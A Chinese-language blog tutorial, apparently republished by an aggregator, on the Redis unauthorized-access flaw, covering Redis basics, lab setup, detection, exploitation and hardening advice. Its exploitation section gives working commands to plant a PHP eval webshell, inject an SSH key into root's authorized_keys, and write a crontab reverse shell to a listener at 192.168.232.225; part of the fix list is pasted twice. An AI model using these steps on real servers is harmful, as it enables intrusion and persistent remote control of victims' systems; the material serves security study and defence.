redis未授权漏洞介绍和复现

Posted 火星上烤鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis未授权漏洞介绍和复现相关的知识,希望对你有一定的参考价值。

漏洞名称

漏洞描述Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。简单说,

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

影响版本

Redis 数据库

port:6379

redis漏洞危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

Redis 基本语法

Redis 配置

Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf(Windows 名为redis.windows.conf)。你可以通过 CONFIG命令查看设置配置项。

Redis CONFIG 查看配置命令格式如下:

redis 127.0.0.1:6379> CONFIG GET CONFIG_SETTING_NAME

使用 *****号获取所有配置项:

redis 127.0.0.1:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb" 
.....

编辑配置

你可以通过修改 redis.conf 文件或使用 CONFIG set命令来修改配置。

CONFIG SET命令基本语法:

redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE

实例

127.0.0.1:6379> CONFIG set loglevel "notice" 
OK
127.0.0.1:6379> CONFIG get  loglevel
1) "loglevel"
2) "notice"
127.0.0.1:6379> CONFIG get  timeout
1) "timeout"
2) "0"
127.0.0.1:6379> CONFIG set  timeout 300
OK
127.0.0.1:6379> CONFIG get  timeout
1) "timeout"
2) "300"


参数说明

几个redis.conf 配置项说明如下:

配置项说明
port 6379指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1绑定的主机地址
timeout 300当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能
databases 16设置数据库的数量,默认数据库为0,可以使用 SELECT 命令在连接上指定数据库id
save <seconds> <changes>指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb指定本地数据库文件名,默认值为 dump.rdb
dir ./指定本地数据库存放目录

Redis 命令

Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中。

Redis 客户端的基本语法为:

$ redis-cli

以下实例讲解了如何启动 redis 客户端:

启动 redis 客户端,打开终端并输入命令 redis-cli。该命令会连接本地的 redis 服务。

$ redis-cli
redis 127.0.0.1:6379> PING
PONG

连接到本地的 redis 服务并执行 PING命令,该命令用于检测 redis 服务是否启动,如果服务器运作正常的话,会返回一个 PONG 。

在远程服务上执行命令

如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli命令。

语法

$ redis-cli -h host -p port -a password

以下实例演示了如何连接到主机为 127.0.0.1,端口为 6379 ,密码为 mypass 的 redis 服务上。

[root@localhost bin]# red
red           rediff        redis-cli     redis-server  
[root@localhost bin]# redis-cli -h 127.0.0.1 -p 6379 -a "123456"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 
127.0.0.1:6379> ping
PONG

SET 命令

Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。

redis SET 命令基本语法如下:

redis 127.0.0.1:6379> SET KEY_NAME VALUE

Get 命令

Redis Get 命令用于获取指定 key 的值。如果 key 不存在,返回 nil 。

redis Get 命令基本语法如下:

redis 127.0.0.1:6379> GET KEY_NAME

Flushall 命令

Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。

redis Flushall 命令基本语法如下:

redis 127.0.0.1:6379> FLUSHALL

Redis 数据备份与恢复

Redis SAVE命令用于创建当前数据库的备份。Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘。

redis Save 命令基本语法如下:

redis 127.0.0.1:6379> SAVE OK

该命令将在 redis 安装目录中创建dump.rdb文件。

恢复数据

如果需要恢复数据,只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 CONFIG命令,如下所示:

127.0.0.1:6379> config get dir 
1) "dir"
2) "/var/spool/cron"

以上命令 CONFIG GET dir输出的 redis 目录为/var/spool/cron。

Redis 安全

我们可以通过 redis 的配置文件设置密码参数,这样客户端连接到 redis 服务就需要密码验证,这样可以让你的 redis 服务更安全。

我们可以通过以下命令查看是否设置了密码验证:

127.0.0.1:6379> CONFIG get requirepass

默认情况下 requirepass 参数是空的,也就是说默认情况下是无密码验证的,这就意味着你无需通过密码验证就可以连接到 redis 服务。

你可以通过以下命令来修改该参数:

127.0.0.1:6379> CONFIG set requirepass "657260"
OK
127.0.0.1:6379> CONFIG get requirepass

设置密码后,客户端连接 redis 服务就需要密码验证,否则无法执行命令。

语法

AUTH命令基本语法格式如下:

127.0.0.1:6379> AUTH password #该命令用于检测给定的密码和配置文件中的密码是否相符。

redis Auth 命令基本语法如下:

redis 127.0.0.1:6379> AUTH PASSWORD #密码匹配时返回 OK ,否则返回一个错误。

实例

127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> set mykey "test"
OK
127.0.0.1:6379> get mykey
"test"


实验环境及准备

第一步 下载压缩包

wget http://download.redis.io/releases/redis-5.0.12.tar.gz

第二步 解压安装

tar -zxvf redis-5.0.12.tar.gz 解压
cd redis-5.0.12/  #进入redis目录
make 编译
如下图提示 “It’s a good idea to run ‘make test’ “ 则代表编译安装成功

第三步 配置redis

cd src 
cp redius-cli /usr/bin
cp redis-server /usr/bin
cd ..
cp redis.conf /etc/

第四步 使用/etc目录下的reids.conf文件中的配置启动redis服务

redis-server /etc/redis.conf

漏洞检测

Nmap -A -p 6379 --script redis-info 192.168.2332.100
./redis-cli -h 192.168.232.200
Info #获取版本、系统、路径
keys *
get user
get password



方法二:通过脚本批量检测漏洞脚本:https://github.com/code-scan/rescan。

漏洞复现

方法一绝对路径写webshell

我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

redis-cli -h 192.168.232.200
config set dir /var/www/html/ # 设置备份文件路径
config set dbfilename redis.php # 设置备份文件名
set webshell "\\n\\n\\n<?php @eval($_POST['shell']);?>\\n\\n\\n" # 向数据库插入payload
save # 保存数据库到备份文件

技巧:

写入webshell:

set x "\\r\\n\\r\\n<?php eval($_POST[whoami]);?>\\r\\n\\r\\n"
(\\r\\n\\r\\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,查看/var/www/html/目录下的shell.php文件内容,确认是否写入成功)

数据库过大时:
  <?php 
  set_time_limit(0); 
  $fp=fopen('bmjoker.php','w'); 
  fwrite($fp,'<?php @eval($_POST[\\"bmjoker\\"]);?>'); 
  exit(); 
  ?>

方法二:公私钥认证获取root权限

利用条件:

  • 服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
  • 服务端存在.ssh目录并且有写入的权限

原理:

  • 数据库中插入一条数据,将本机的公钥作为value,key值随意,
  • 通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,
  • 可以在服务器端的/root/.ssh下生成一个授权的key。

第一步 ssh免密码配置

ssh-keygen -t rsa   #生成公钥key
cd /root/.ssh/
cat /root/.ssh/id_rsa.pub
(echo -e "\\n\\n"; cat /root/.ssh/id_rsa.pub; echo -e "\\n\\n") > /root/.ssh/key.txt
# 将公钥导入key.txt文件(前后用\\n换行,避免和Redis里其他缓存数据混合)
cat /root/.ssh/key.txt | redis-cli -h 192.168.232.200 -x set test
#读取key.txt文件内容写入服务端Redis的缓冲里
# -x 代表从标准输入读取数据作为该命令的最后一个参数。



第二步 连接 Redis 写入文件

redis-cli -h 192.168.232.200
keys * 查看密钥信息
get test
config get dir
config set dir /root/.ssh/ #报错error) ERR Changing directory: No such file or directory,需要在/etc下新建.ssh目录
config set dbfilename "authorized_keys"
save


第三步 通过私钥登录ssh 192.268.232.200

方法三 利用利用contrab计划任务反弹shell

set x "\\n* * * * * bash -i >& /dev/tcp/192.168.232.225/888 0>&1\\n"
 config set dir  /var/spool/cron/ 
# centos的路径
#debian的路径 /var/spool/cron/crontabs 
# ubuntu的路径/var/spool/cronconfig
config set dbfilename root
save



修复建议

  • 1、比较安全的办法是采用绑定IP的方式来进行控制。请在redis.conf文件找到如下配置

    # If you want you can bind a single interface, if the bind option is not
    # specified all the interfaces will listen for incoming connections.
    # bind 127.0.0.1
    

    #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

  • 2、设置密码,以提供远程登陆打开redis.conf配置文件,找到requirepass,然后修改如下:

    requirepass yourpassword
    yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
    命令如下:
    redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
    keys * //输出服务器中的所有key
    报错如下
    (error) ERR operation not permitted
    这时候你可以用授权命令进行授权,就不报错了
    命令如下:
    auth youpassword
    
  • 3、在需要对外开放的时候修改默认端口(端口不重复就可以)port 2344

  • 4、以低权限运行 Redis 服务(重启redis才能生效)>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

  • 5、最后还可以配合iptables限制开放6、清理系统中存在的后门木马。

quirepass,然后修改如下:

requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted
这时候你可以用授权命令进行授权,就不报错了
命令如下:
auth youpassword
  • 3、在需要对外开放的时候修改默认端口(端口不重复就可以)port 2344

  • 4、以低权限运行 Redis 服务(重启redis才能生效)>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

  • 5、最后还可以配合iptables限制开放6、清理系统中存在的后门木马。

以上是关于redis未授权漏洞介绍和复现的主要内容,如果未能解决你的问题,请参考以下文章

Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

Redis未授权漏洞复现及利用(window,linux)

Redis未授权访问漏洞复现与利用

Redis未授权访问漏洞复现与利用

SSRF02服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==>未授权访问==>GetShell